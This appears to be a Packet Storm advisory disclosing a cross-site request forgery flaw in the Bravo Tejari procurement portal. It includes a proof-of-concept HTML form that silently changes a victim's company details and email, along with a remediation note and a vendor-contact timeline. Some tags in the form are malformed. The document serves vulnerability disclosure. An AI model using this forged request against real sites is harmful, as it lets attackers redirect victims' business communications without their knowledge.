Tejari Cross Site Request Forgery

Type packetstorm
Reporter Arvind Vishwakarma
Modified 2018-02-15T00:00:00


Vulnerability Type: Cross Site Request Forgery (CSRF)  
Vendor of Product: Tejari  
Affected Product Code Base: Bravo Solution  
Affected Component: Web Interface Management.  
Attack Type: Local - Authenticated  
Impact: Unauthorised Access  
Product description:  
Bravo Tejari is a strategic procurement platform that enables organizations  
to generate more value, influence innovation and reduce risk powered by a  
unique supplier-centered approach that integrates supplier lifetime value  
throughout the entire procurement process  
Attack Scenario:  
The Web Interface of the Bravo Tejari procurement portal does not use  
random tokens to block any kind of forged requests. An atacker can take  
advantage of this scenario and create a forged request to edit user account  
details like name, address of the company/individual, email address etc. He  
then uses social engineering techniques to target specific individuals  
whose account details he would like to change. He simply sends the link and  
tricks the user into clicking the forged http request. The request is  
executed and user account details are changed without his knowledge.  
Proof of Concept Code:  
Forged HTTP Request used by the attacker:  
<form action="https://XXXX.XXXX.com/esop/toolkit/profile/regData.do"  
<input type="hidden" name="userAct" value="confirmData" />  
<input type="hidden" name="from" value="registration_data" />  
<input type="hidden" name="actionNumber" value="0" />  
<input type="hidden" name="companyExtStatusCode" value="31" />  
<input type="hidden" name="companyExtStatusNote" value="" />  
<input type="hidden" name="hideCompany" value="false" />  
<input type="hidden" name="companyName"  
<input type="hidden" name="companyAddress"  
value="Dubai internet city, DUBAI" />  
<input type="hidden" name="companyCity" value="DUBAI" />  
<input type="hidden" name="companyCountry" value="AE" />  
<input type="hidden" name="companyProvince" value="Dubai" />  
<input type="hidden" name="companyZip" value="25703" />  
<input type="hidden" name="companyPhone" value="43918600" />  
<input type="hidden" name="companyFax" value="" />  
<input type="hidden" name="companyEmail"  
value="XYZ.v@XYZ.com" />  
<input type="hidden" name="companyWebSite" value="" />  
<input type="hidden" name="companyLegalStructure" value="" />  
<input type="hidden" name="companyAddress2" value="" />  
<input type="hidden" name="companyFiscalCode" value="215703" />  
<input type="submit" value="Submit request" />  
The affected product is a procurement portal and so all communication  
regarding the contract lifecycle process is sent to user details provided  
on the portal. If this vulnerability is sucessfully exploited, the attacker  
will be able to change these details which will potentially affect the  
victim's business.  
Ensure that all sensitive CRUD Operations are appropriately protected with  
random tokens. Alternatively, the sensitive operations should also have an  
authentication layer to confirm user verification.  
Credit: Arvind Vishwakarma  
Vulnerability Timeline:  
12th December 2017 a Vulnerability Discovered  
23rd December 2017 a Contacted Vendor a No Response  
7th January 2018 a Contacted Vendor again a No Response  
15th February 2018 a Vulnerability Disclosed